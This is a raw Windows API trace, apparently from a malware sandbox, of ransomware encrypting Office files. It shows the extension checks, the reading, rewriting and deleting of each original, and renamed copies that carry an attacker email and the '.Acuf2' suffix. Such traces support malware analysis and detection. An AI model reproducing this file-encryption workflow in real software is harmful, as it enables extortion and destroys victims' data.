	[0258.474] lstrlenW (lpString=".bz2") returned 4
	[0258.474] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString=".7z") returned 3
	[0258.474] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.474] lstrlenW (lpString=".dbf") returned 4
	[0258.474] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.474] lstrlenW (lpString=".1cd") returned 4
	[0258.474] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76
	[0258.474] lstrlenW (lpString=".jpg") returned 4
	[0258.474] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.475] lstrcmpiW (lpString1=".MML", lpString2=".Acuf2") returned 1
	[0258.475] lstrlenW (lpString="CAGCAT10.MML") returned 12
	[0258.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0258.476] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=312400) returned 1
	[0258.476] CloseHandle (hObject=0x330) returned 1
	[0258.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20
	[0258.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0258.476] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.476] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0258.478] GetLastError () returned 0x0
	[0258.478] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x4c450, lpOverlapped=0x0) returned 1
	[0258.520] WriteFile (in: hFile=0x358, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x4c460, lpOverlapped=0x0) returned 1
	[0258.526] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.526] WriteFile (in: hFile=0x358, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.526] SetEndOfFile (hFile=0x358) returned 1
	[0258.549] CloseHandle (hObject=0x358) returned 1
	[0258.549] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.549] SetEndOfFile (hFile=0x330) returned 1
	[0258.586] CloseHandle (hObject=0x330) returned 1
	[0258.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1
	[0258.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.725] lstrlenW (lpString=".doc") returned 4
	[0258.725] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1
	[0258.725] lstrlenW (lpString=".docx") returned 5
	[0258.725] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1
	[0258.725] lstrlenW (lpString=".pdf") returned 4
	[0258.725] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1
	[0258.725] lstrlenW (lpString=".xls") returned 4
	[0258.725] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1
	[0258.725] lstrlenW (lpString=".xlsx") returned 5
	[0258.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1
	[0258.725] lstrlenW (lpString=".ppt") returned 4
	[0258.725] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1
	[0258.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.725] lstrlenW (lpString=".zip") returned 4
	[0258.725] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1
	[0258.725] lstrlenW (lpString=".rar") returned 4
	[0258.725] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1
	[0258.725] lstrlenW (lpString=".bz2") returned 4
	[0258.725] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1
	[0258.725] lstrlenW (lpString=".7z") returned 3
	[0258.725] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1
	[0258.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.725] lstrlenW (lpString=".dbf") returned 4
	[0258.725] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1
	[0258.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.725] lstrlenW (lpString=".1cd") returned 4
	[0258.725] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1
	[0258.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.725] lstrlenW (lpString=".jpg") returned 4
	[0258.726] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1
	[0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.726] lstrlenW (lpString=".doc") returned 4
	[0258.726] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1
	[0258.726] lstrlenW (lpString=".docx") returned 5
	[0258.726] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1
	[0258.726] lstrlenW (lpString=".pdf") returned 4
	[0258.726] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1
	[0258.726] lstrlenW (lpString=".xls") returned 4
	[0258.726] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1
	[0258.726] lstrlenW (lpString=".xlsx") returned 5
	[0258.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1
	[0258.726] lstrlenW (lpString=".ppt") returned 4
	[0258.726] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1
	[0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.726] lstrlenW (lpString=".zip") returned 4
	[0258.726] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1
	[0258.726] lstrlenW (lpString=".rar") returned 4
	[0258.726] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1
	[0258.726] lstrlenW (lpString=".bz2") returned 4
	[0258.726] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1
	[0258.726] lstrlenW (lpString=".7z") returned 3
	[0258.726] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1
	[0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.726] lstrlenW (lpString=".dbf") returned 4
	[0258.726] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1
	[0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.726] lstrlenW (lpString=".1cd") returned 4
	[0258.726] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1
	[0258.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66
	[0258.726] lstrlenW (lpString=".jpg") returned 4
	[0258.726] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1
	[0258.727] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0258.727] lstrlenW (lpString="ACCDDSUI.DLL") returned 12
	[0258.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0258.727] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=21424) returned 1
	[0258.727] CloseHandle (hObject=0x338) returned 1
	[0258.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20
	[0258.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0258.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.728] lstrlenW (lpString=".doc") returned 4
	[0258.728] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.728] lstrlenW (lpString=".docx") returned 5
	[0258.728] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0258.728] lstrlenW (lpString=".pdf") returned 4
	[0258.728] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.728] lstrlenW (lpString=".xls") returned 4
	[0258.728] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.728] lstrlenW (lpString=".xlsx") returned 5
	[0258.728] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0258.728] lstrlenW (lpString=".ppt") returned 4
	[0258.728] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.728] lstrlenW (lpString=".zip") returned 4
	[0258.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.728] lstrlenW (lpString=".rar") returned 4
	[0258.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.728] lstrlenW (lpString=".bz2") returned 4
	[0258.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.728] lstrlenW (lpString=".7z") returned 3
	[0258.728] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.728] lstrlenW (lpString=".dbf") returned 4
	[0258.728] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.728] lstrlenW (lpString=".1cd") returned 4
	[0258.728] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.728] lstrlenW (lpString=".jpg") returned 4
	[0258.728] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.729] lstrlenW (lpString=".doc") returned 4
	[0258.729] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString=".docx") returned 5
	[0258.729] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1
	[0258.729] lstrlenW (lpString=".pdf") returned 4
	[0258.729] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString=".xls") returned 4
	[0258.729] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString=".xlsx") returned 5
	[0258.729] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1
	[0258.729] lstrlenW (lpString=".ppt") returned 4
	[0258.729] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.729] lstrlenW (lpString=".zip") returned 4
	[0258.729] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString=".rar") returned 4
	[0258.729] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0258.729] lstrlenW (lpString=".bz2") returned 4
	[0258.729] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0258.729] lstrlenW (lpString=".7z") returned 3
	[0258.729] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0258.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.729] lstrlenW (lpString=".dbf") returned 4
	[0258.729] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0258.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.729] lstrlenW (lpString=".1cd") returned 4
	[0258.729] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0258.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60
	[0258.729] lstrlenW (lpString=".jpg") returned 4
	[0258.729] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0258.730] lstrcmpiW (lpString1=".ACC", lpString2=".Acuf2") returned -1
	[0258.730] lstrlenW (lpString="ACCESS12.ACC") returned 12
	[0258.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0258.730] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=495616) returned 1
	[0258.730] CloseHandle (hObject=0x338) returned 1
	[0258.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20
	[0258.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0258.730] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.730] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.620] GetLastError () returned 0x0
	[0259.620] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x79000, lpOverlapped=0x0) returned 1
	[0259.630] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x79010, lpOverlapped=0x0) returned 1
	[0259.640] ReadFile (in: hFile=0x338, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.641] WriteFile (in: hFile=0x330, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.641] SetEndOfFile (hFile=0x330) returned 1
	[0259.641] CloseHandle (hObject=0x330) returned 1
	[0259.641] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.641] SetEndOfFile (hFile=0x338) returned 1
	[0259.652] CloseHandle (hObject=0x338) returned 1
	[0259.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 1
	[0259.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.652] lstrlenW (lpString=".doc") returned 4
	[0259.652] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1
	[0259.652] lstrlenW (lpString=".docx") returned 5
	[0259.652] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1
	[0259.652] lstrlenW (lpString=".pdf") returned 4
	[0259.652] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1
	[0259.652] lstrlenW (lpString=".xls") returned 4
	[0259.652] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString=".xlsx") returned 5
	[0259.653] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1
	[0259.653] lstrlenW (lpString=".ppt") returned 4
	[0259.653] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.653] lstrlenW (lpString=".zip") returned 4
	[0259.653] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString=".rar") returned 4
	[0259.653] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString=".bz2") returned 4
	[0259.653] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString=".7z") returned 3
	[0259.653] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1
	[0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.653] lstrlenW (lpString=".dbf") returned 4
	[0259.653] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.653] lstrlenW (lpString=".1cd") returned 4
	[0259.653] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1
	[0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.653] lstrlenW (lpString=".jpg") returned 4
	[0259.653] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.653] lstrlenW (lpString=".doc") returned 4
	[0259.653] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString=".docx") returned 5
	[0259.653] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1
	[0259.653] lstrlenW (lpString=".pdf") returned 4
	[0259.653] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1
	[0259.653] lstrlenW (lpString=".xls") returned 4
	[0259.654] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1
	[0259.654] lstrlenW (lpString=".xlsx") returned 5
	[0259.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1
	[0259.654] lstrlenW (lpString=".ppt") returned 4
	[0259.654] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1
	[0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.654] lstrlenW (lpString=".zip") returned 4
	[0259.654] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1
	[0259.654] lstrlenW (lpString=".rar") returned 4
	[0259.654] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1
	[0259.654] lstrlenW (lpString=".bz2") returned 4
	[0259.654] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1
	[0259.654] lstrlenW (lpString=".7z") returned 3
	[0259.654] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1
	[0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.654] lstrlenW (lpString=".dbf") returned 4
	[0259.654] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1
	[0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.654] lstrlenW (lpString=".1cd") returned 4
	[0259.654] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1
	[0259.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60
	[0259.654] lstrlenW (lpString=".jpg") returned 4
	[0259.654] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1
	[0259.654] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0259.654] lstrlenW (lpString="CALEVENT.VRD") returned 12
	[0259.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.809] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=2144) returned 1
	[0259.809] CloseHandle (hObject=0x220) returned 1
	[0259.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20
	[0259.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.836] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.836] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0259.837] GetLastError () returned 0x0
